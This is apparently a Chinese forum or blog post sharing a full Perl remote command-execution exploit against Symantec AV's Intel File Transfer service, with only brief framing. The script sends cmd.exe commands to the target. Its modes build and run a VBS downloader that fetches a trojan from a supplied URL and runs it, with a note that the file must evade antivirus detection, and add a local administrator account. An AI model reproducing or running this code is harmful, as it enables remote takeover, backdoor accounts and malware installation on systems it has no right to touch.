赛门铁克远程溢出exp

印象中好像是赛门铁克第二次出远程溢出漏洞了。。。那些企业sep用户可能会有些影响。脆弱的内网安全啊

攻击代码如下

赛门铁克远程溢出exp
# # # # # # # # # # # # # # # # # # # # # # # # #
### SYMANTEC AV w/ INTEL FILE TRANSFER SERVICE
### REMOTE SYSTEM LEVEL EXPLOIT
### USE AT YOUR OWN RISK!
# # # # # # # # # # # # # # # # # # # # # # # # #

use IO::Socket;

sub rce {
($target, $cmmd) = @_;
$sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => '12174',
                              Proto    => 'tcp') || goto lbl;
$magic = sprintf("%d", 0xc0d3b4b3);
$command = "cmd.exe /C $cmmd | exit $magic";
$cmd = "$command";
$req = "\x00\x00\x00\x00" . pack("v", length($cmd)+1) . $cmd . "\x00";
print $sock $req;

read($sock, $res, 0x14);
$resp = substr($res, 0x10, 4);
if ($resp eq pack("L", 0xc0d3b4b3)) {
    print "SUCCESS!\n";
} else {
    print "COMMAND FAILED\n";
}

return;
lbl:
print "PORT CLOSED\n";
exit;

}

sub usage {
    print "usage: perl xpl.pl [-a <target> <username> <password>] [-a2 <target> <username> <password> <administrators groupname> [-d <target> <trojan url>] [-t <target> ]\n";
    print "-a IS ADDUSER WITH SID METHOD\n";
    print "-a2 IS ADDUSER BY NAME\n";
    print "-t IS TEST\n";
    print "-d IS DOWNLOAD AND EXEC, EXE FILE MUST NOT BE DETECTABLE BY SYMANTEC AV\n";
    print "Example: perl xpl.pl -a www.symantec.com r00t p455\n";
    exit;
}

print "\n*** Symantec AV Remote Exploit\n*** by Kingcope in 2009\n\n";
if ($#ARGV < 1) {
usage();
}
$specify = $ARGV[0];
$target = $ARGV[1];

if ($specify eq "-d" && $#ARGV != 2) {
    usage();  
}

if ($specify eq "-a" && $#ARGV != 3) {
    usage();  
}

if ($specify eq "-a2" && $#ARGV != 4) {
    usage();  
}

if ($specify eq "-t" && $#ARGV != 1) {
    usage();  
}

$|=1;

if ($specify eq "-d") {
$trojanurl = $ARGV[2];

$getcred[0] = "echo Function SaveBinaryData(FileName, ByteArray) > c:\\getcreds.vbs";
$getcred[1] = "echo Const adTypeBinary = 1 >> c:\\getcreds.vbs";
$getcred[2] = "echo Const adSaveCreateOverWrite = 2 >> c:\\getcreds.vbs";
$getcred[3] = "echo Dim BinaryStream >> c:\\getcreds.vbs";
$getcred[4] = "echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> c:\\getcreds.vbs";
$getcred[5] = "echo BinaryStream.Type = adTypeBinary >> c:\\getcreds.vbs";
$getcred[6] = "echo BinaryStream.Open >> c:\\getcreds.vbs";
$getcred[7] = "echo BinaryStream.Write ByteArray >> c:\\getcreds.vbs";
$getcred[8] = "echo BinaryStream.SaveToFile FileName, adSaveCreateOverWrite >> c:\\getcreds.vbs";
$getcred[9] = "echo End Function >> c:\\getcreds.vbs";
$getcred[10] = "echo Sub HTTPDownload( myURL, myPath ) >> c:\\getcreds.vbs";
$getcred[11] = "echo Set objHTTP = CreateObject( \"WinHttp.WinHttpRequest.5.1\" ) >> c:\\getcreds.vbs";
$getcred[12] = "echo objHTTP.Open \"GET\", myURL, False >> c:\\getcreds.vbs";
$getcred[13] = "echo objHTTP.Send >> c:\\getcreds.vbs";
$getcred[14] = "echo SaveBinaryData myPath, objHTTP.ResponseBody >> c:\\getcreds.vbs";
$getcred[15] = "echo End Sub >> c:\\getcreds.vbs";
$getcred[16] = "echo HTTPDownload \"$trojanurl\", \"c:\\installer.exe\" >> c:\\getcreds.vbs";
$getcred[17] = "echo Set shell = CreateObject(\"WScript.Shell\") >> c:\\getcreds.vbs";
$getcred[18] = "echo Set objEnv = shell.Environment(\"Process\") >> c:\\getcreds.vbs";
$getcred[19] = "echo Set objEnv2 = shell.Environment(\"User\") >> c:\\getcreds.vbs";
$getcred[20] = "echo Set objEnv3 = shell.Environment(\"System\") >> c:\\getcreds.vbs";
$getcred[21] = "echo sysRoot = objEnv(\"systemroot\") >> c:\\getcreds.vbs";
$getcred[22] = "echo userProfile = objEnv(\"userprofile\") >> c:\\getcreds.vbs";
$getcred[23] = "echo objEnv2(\"Path\") = sysRoot ^& \";\" ^& sysRoot ^&\"\\system32;\" ^& sysRoot ^& \"\\temp;\" ^& sysRoot ^& \"\\wbem\" >> c:\\getcreds.vbs";
$getcred[24] = "echo objEnv3(\"Path\") = sysRoot ^& \";\" ^& sysRoot ^&\"\\system32;\" ^& sysRoot ^& \"\\temp;\" ^& sysRoot ^& \"\\wbem\" >> c:\\getcreds.vbs";
$getcred[25] = "echo objEnv2(\"TEMP\") = sysRoot ^& \"\\temp\" >> c:\\getcreds.vbs";
$getcred[26] = "echo objEnv2(\"TMP\") = sysRoot ^& \"\\temp\" >> c:\\getcreds.vbs";
$getcred[27] = "echo objEnv3(\"TEMP\") = sysRoot ^& \"\\temp\" >> c:\\getcreds.vbs";
$getcred[28] = "echo objEnv3(\"TMP\") = sysRoot ^& \"\\temp\" >> c:\\getcreds.vbs";
$getcred[29] = "echo shell.CurrentDirectory = \"c:\\\" >> c:\\getcreds.vbs";
$getcred[30] = "echo shell.Run Chr(34) ^& \"c:\\installer.exe\" ^& Chr(34), 1, false >> c:\\getcreds.vbs";
$getcred[31] = "echo Set shell = Nothing >> c:\\getcreds.vbs";

$commandx = $getcred[0];
for ($k=1;$k<=31;$k++) {
    $commandx .= " && ".$getcred[$k];
}

print "UPLOAD AND RUN KIT .. ";
rce($target, "$commandx && c:\\getcreds.vbs");
sleep(3);
print "\n";
print "DELETE KIT FETCHER .. ";
rce($target, "del c:\\getcreds.vbs");
print "COMPLETED....";
}

if ($specify eq "-a") {
$getcreds[0] = "echo strComputer = \".\" > c:\\getcred.vbs";
$getcreds[1] = "echo strSID = \"S-1-5-32-544\" >> c:\\getcred.vbs";
$getcreds[2] = "echo Set objWMIService = GetObject(\"winmgmts:\\\\\" ^& strComputer ^& \"\\root\\cimv2\") >> c:\\getcred.vbs";
$getcreds[3] = "echo Set objSID = objWMIService.Get(\"Win32_SID='\" ^& strSID ^& \"'\") >> c:\\getcred.vbs";
$getcreds[4] = "echo groupname=objSID.AccountName >> c:\\getcred.vbs";
$getcreds[5] = "echo Set objNetwork = WScript.CreateObject(\"WScript.Network\") >> c:\\getcred.vbs";
$getcreds[6] = "echo Set objGroup = GetObject(\"WinNT://\" ^& objNetwork.ComputerName ^& \"/\"^&groupname^&\",group\") >> c:\\getcred.vbs";
$getcreds[7] = "echo Admin_Name = WScript.Arguments(0) >> c:\\getcred.vbs";
$getcreds[8] = "echo Path = \"WinNT://\" ^& objNetwork.ComputerName ^& \"/\" ^& Admin_Name >> c:\\getcred.vbs";
$getcreds[9] = "echo If Not objGroup.IsMember(Path) Then >> c:\\getcred.vbs";
$getcreds[10] = "echo objGroup.Add(Path) >> c:\\getcred.vbs";
$getcreds[11] = "echo End If >> c:\\getcred.vbs";
$getcreds[12] = "echo Set objGroup = Nothing >> c:\\getcred.vbs";
$getcreds[13] = "echo set objNetwork = Nothing >> c:\\getcred.vbs";

$username = $ARGV[2];
$password = $ARGV[3];

$commandxx = $getcreds[0];
for ($k=1;$k<=13;$k++) {
    $commandxx .= " && " . $getcreds[$k];
}

print "RUN ADD USER .. ";
rce($target, "net user $username $password /add");
sleep(3);
print "\n";
print "RUN ADD TO GROUP .. ";
rce($target, "$commandxx && c:\\getcred.vbs $username && del c:\\getcred.vbs");
}

if ($specify eq "-a2") {
    
$username = $ARGV[2];
$password = $ARGV[3];
$admin = $ARGV[4];
    
print "RUN ADD USER .. ";
rce($target, "net user $username $password /add && net localgroup $admin $username /add");
}

if ($specify eq "-t") {
print "RUN TEST $target .. ";
rce($target, "echo ELITE .");
}

成功就可以执行任意命令，失败则导致拒绝服务。